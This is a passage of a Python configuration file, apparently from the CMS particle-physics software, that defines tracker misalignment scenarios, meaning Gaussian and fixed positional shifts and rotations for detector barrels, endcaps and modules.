= cms.double(0.01), phiXlocal = cms.double(0.0004), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0002) ) ), TPBHalfBarrels = cms.PSet( TPBHalfBarrels = cms.PSet( # FIXME?? phiXlocal = cms.double(0.0008), phiZlocal = cms.double(0.0008), dZ = cms.double(0.05), dX = cms.double(0.05), dY = cms.double(0.05), distribution = cms.string('gaussian'), phiYlocal = cms.double(0.0008) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPBLadders = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0002), distribution = cms.string('gaussian'), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0002) ), DetUnits = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), distribution = cms.string('gaussian'), dXlocal = cms.double(0.006), phiYlocal = cms.double(0.001) ), TPBLayers = cms.PSet( phiXlocal = cms.double(0.0004), phiZlocal = cms.double(0.0004), dZ = cms.double(0.02), dX = cms.double(0.02), dY = cms.double(0.02), distribution = cms.string('gaussian'), phiYlocal = cms.double(0.0004) ), TPBBarrels = cms.PSet( # FIXME?? phiXlocal = cms.double(0.003), phiZlocal = cms.double(0.003), dZ = cms.double(0.1), dX = cms.double(0.1), dY = cms.double(0.1), distribution = cms.string('gaussian'), phiYlocal = cms.double(0.003) ) ), TOBHalfBarrels = cms.PSet( scale = cms.double(1.0), TOBBarrels = cms.PSet( # FIXME?? dZlocal = cms.double(0.1), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.1), phiZlocal = cms.double(0.0005), dXlocal = cms.double(0.1), phiYlocal = cms.double(0.0005) ), scaleError = cms.double(1.0), TOBLayers = cms.PSet( dZlocal = cms.double(0.02), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0001) ), TOBLayer1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.003), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.003), phiYlocal = cms.double(0.0002) ) ), TOBRods = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.02), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0002) ), TOBHalfBarrels = cms.PSet( # FIXME?? dZlocal = cms.double(0.02), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0001) ), distribution = cms.string('gaussian'), TOBLayer3_4_5_6 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.003), phiZlocal = cms.double(0.0002), dXlocal = cms.double(0.003), phiYlocal = cms.double(0.0002) ) ) ), TECEndcaps = cms.PSet( scale = cms.double(1.0), TECDisk9 = cms.PSet( TECRing2 = cms.PSet( TECRingsTrackerNoKnowledge_2D ), TECRing1_3_4 = cms.PSet( TECRingsTrackerNoKnowledge_1D ) ), TECDisk1_2_3 = cms.PSet( TECRing3_4_6_7 = cms.PSet( TECRingsTrackerNoKnowledge_1D ), TECRing1_2_5 = cms.PSet( TECRingsTrackerNoKnowledge_2D ) ), scaleError = cms.double(1.0), TECEndcaps = cms.PSet( # FIXME?? dZlocal = cms.double(0.0316), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.05), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.0316), phiYlocal = cms.double(0.001) ), TECDisk4_5_6 = cms.PSet( TECRing2_3_5_6 = cms.PSet( TECRingsTrackerNoKnowledge_1D ), TECRing1_4 = cms.PSet( TECRingsTrackerNoKnowledge_2D ) ), TECPetals = cms.PSet( dZlocal = cms.double(0.0158), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.0086), phiZlocal = cms.double(0.0003), dXlocal = cms.double(0.0086), phiYlocal = cms.double(0.0005) ), TECDisks = cms.PSet( dZlocal = cms.double(0.0112), phiXlocal = cms.double(0.0002), dYlocal = cms.double(0.0206), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.0112), phiYlocal = cms.double(0.0001) ), TECDisk7_8 = cms.PSet( TECRing3 = cms.PSet( TECRingsTrackerNoKnowledge_2D ), TECRing1_2_4_5 = cms.PSet( TECRingsTrackerNoKnowledge_1D ) ), distribution = cms.string('gaussian') ), TPEEndcaps = cms.PSet( TPEPanels = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.002), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.002), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.002) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TPEHalfDisks = cms.PSet( dZlocal = cms.double(0.02), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.02), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.02), phiYlocal = cms.double(0.001) ), TPEEndcaps = cms.PSet( # FIXME?? dZlocal = cms.double(0.1), phiXlocal = cms.double(0.0017), dYlocal = cms.double(0.1), phiZlocal = cms.double(0.0017), dXlocal = cms.double(0.1), phiYlocal = cms.double(0.0017) ), TPEHalfCylinders = cms.PSet( dZlocal = cms.double(0.05), phiXlocal = cms.double(0.0004), dYlocal = cms.double(0.05), phiZlocal = cms.double(0.0004), dXlocal = cms.double(0.05), phiYlocal = cms.double(0.0004) ), DetUnits = cms.PSet( dZlocal = cms.double(0.003), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.001) ), TPEBlades = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.001), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.001), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.001) ), distribution = cms.string('gaussian') ), TIDEndcaps = cms.PSet( TIDSides = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.0001) ), scale = cms.double(1.0), scaleError = cms.double(1.0), TIDEndcaps = cms.PSet( # FIXME?? dZlocal = cms.double(0.1), phiXlocal = cms.double(0.0013), dYlocal = cms.double(0.1), phiZlocal = cms.double(0.0013), dXlocal = cms.double(0.1), phiYlocal = cms.double(0.0013) ), TIDRings = cms.PSet( dZlocal = cms.double(0.01), phiXlocal = cms.double(0.0001), dYlocal = cms.double(0.01), phiZlocal = cms.double(0.0001), dXlocal = cms.double(0.01), phiYlocal = cms.double(0.0001) ), TIDRing1_2 = cms.PSet( Dets = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.0005), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.0005) ) ), TIDDisks = cms.PSet( dZlocal = cms.double(0.05), phiXlocal = cms.double(0.0004), dYlocal = cms.double(0.05), phiZlocal = cms.double(0.0004), dXlocal = cms.double(0.05), phiYlocal = cms.double(0.0004) ), distribution = cms.string('gaussian'), TIDRing3 = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.005), phiXlocal = cms.double(0.0005), dYlocal = cms.double(0.005), phiZlocal = cms.double(0.0005), dXlocal = cms.double(0.005), phiYlocal = cms.double(0.0005) ) ) ) ) # ----------------------------------------------------------------------- # TrackerAfterCRAFTScenario # ---------------------------------------- # ----------------- NOTE ----------------- # This scenario is a simple merge of scenarios above: # It seems that after CRAFT alignment we have aligned TIB and TOB # as good as foreseen after 100 pb^-1 (at least what concerns residuals [DMR]), # while the rest of the tracker is at the level of the 10 pb^-1 scenario # or even still at that of SurveyLASOnlyScenario. # ------------- NOTE ends ---------------- # ---------------------------------------- TrackerCRAFTScenario = copy.deepcopy(Tracker10pbScenario) TrackerCRAFTScenario.TIBHalfBarrels = copy.deepcopy(Tracker100pbScenario.TIBHalfBarrels) TrackerCRAFTScenario.TOBHalfBarrels = copy.deepcopy(Tracker100pbScenario.TOBHalfBarrels) TrackerCRAFTScenario.TPEEndcaps = copy.deepcopy(TrackerSurveyLASOnlyScenario.TPEEndcaps) # ----------------------------------------------------------------------- # Pixel Tracker Only z Shifts and Rotations # ---------------------------------------------------------------------- PixelTrackerOnlyZShift = cms.PSet(MisalignmentScenarioSettings, TPBHalfBarrel1 = cms.PSet(distribution = cms.string('fixed'), DetUnits = cms.PSet(dZ = cms.double(0.0015)) ), TPBHalfBarrel2 = cms.PSet(distribution = cms.string('fixed'), DetUnits = cms.PSet(dZ = cms.double(-0.0015)) ) ) # ----------------------------------------------------------------------- # Pixel Tracker Fixed Shifts and Rotations # ---------------------------------------------------------------------- PixelTrackerFixedShiftsAndRotations = cms.PSet(MisalignmentScenarioSettings, TPBHalfBarrel1 = cms.PSet(distribution = cms.string('fixed'), DetUnits = cms.PSet(dX = cms.double(0.0005), dY = cms.double(0.0010), dZ = cms.double(0.0015), phiX = cms.double(30e-6), phiY = cms.double(30e-06), phiZ = cms.double(30e-06) ) ), TPBHalfBarrel2 = cms.PSet(distribution = cms.string('fixed'), DetUnits = cms.PSet(dX = cms.double(-0.0005), dY = cms.double(-0.0010), dZ = cms.double(-0.0015), phiX = cms.double(-30e-6), phiY = cms.double(-30e-06), phiZ = cms.double(-30e-06) ) ) ) # ----------------------------------------------------------------------- # Pixel Tracker Random Shifts and Rotations # ---------------------------------------------------------------------- PixelTrackerDicedShiftsAndRotations = cms.PSet(MisalignmentScenarioSettings, TPBBarrels = cms.PSet(distribution = cms.string('gaussian'), scale = cms.double(1.0), scaleError = cms.double(1.0), TPBHalfBarrels = cms.PSet(distribution = cms.string('flat'), dX = cms.double(0.0005), dY = cms.double(0.0010), dZ = cms.double(0.0015), phiX = cms.double(30e-6), phiY = cms.double(30e-06), phiZ = cms.double(30e-06) ) ) ) MisalignmentScenario_5mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), dYlocal = cms.double(0.05), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), dYlocal = cms.double(0.05), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), ), ), ) MisalignmentScenario_10mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), dYlocal = cms.double(0.1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), dYlocal = cms.double(0.1), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), ), ), ) MisalignmentScenario_15mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), dYlocal = cms.double(0.15), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), dYlocal = cms.double(0.15), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), ), ), ) MisalignmentScenario_20mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), ) MisalignmentScenario_20muGlobalX = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), ) MisalignmentScenario_20muLocalX = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), ) MisalignmentScenario_20muGlobalY = MisalignmentScenarioSettings.clone( scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), ) MisalignmentScenario_20muLocalY = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), ) MisalignmentScenario_20muGlobalZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), ) MisalignmentScenario_20muLocalZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), ) MisalignmentScenario_20muGlobalXY = MisalignmentScenarioSettings.clone( scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), ), ), ) MisalignmentScenario_20muLocalXY = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), ), ), ) MisalignmentScenario_20muGlobalXYZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), dY = cms.double(0.2), dZ = cms.double(0.2), ), ), ) MisalignmentScenario_20muLocalXYZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), dYlocal = cms.double(0.2), dZlocal = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muGlobalX = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dX = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muGlobalY = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dY = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muGlobalZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZ = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muLocalX = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muLocalY = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.2), ), ), ) MisalignmentScenario_BPIX20muLocalZ = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.2), ), ), ) MisalignmentScenario_NonMisalignedBPIX = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( #~ dYLocal = cms.double(0.1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), dYlocal = cms.double(0.25), dZlocal = cms.double(0.25), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), dYlocal = cms.double(0.25), dZlocal = cms.double(0.25), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), dYlocal = cms.double(0.25), dZlocal = cms.double(0.25), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), dYlocal = cms.double(0.25), dZlocal = cms.double(0.25), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), dYlocal = cms.double(0.25), dZlocal = cms.double(0.25), ), ), ) MisalignmentScenarioDifferentSubdetectors = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( #~ dYLocal = cms.double(0.1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.5), dZlocal = cms.double(0.5), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.05), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.4), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.1), dYlocal = cms.double(0.5), dZlocal = cms.double(0.5), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.3), ), ), ) MisalignmentScenarioDifferentSubdetectorsLarge = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( #~ dYLocal = cms.double(0.1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.5), dZlocal = cms.double(0.5), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.25), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.4), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.15), dYlocal = cms.double(0.5), dZlocal = cms.double(0.5), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.3), ), ), ) MisalignmentScenarioDifferentSubdetectorsLocal = MisalignmentScenarioSettings.clone( setError = cms.bool(False), #~ scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.001), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(0.002), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( phiYlocal = cms.double(0.01), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.002), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( phiXlocal = cms.double(0.02), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( phiZlocal = cms.double(0.01), ), ), ) MisalignmentScenario10Mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dYlocal = cms.double(0.1), dXlocal = cms.double(0.1), ), ), ) MisalignmentScenario100Mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), ) MisalignmentScenario200Mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01),# shifts in 100mum TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(2), dYlocal = cms.double(2), dXlocal = cms.double(2), ), ), ) MisalignmentScenario300Mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01),# shifts in 100mum TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), TECEndcaps = 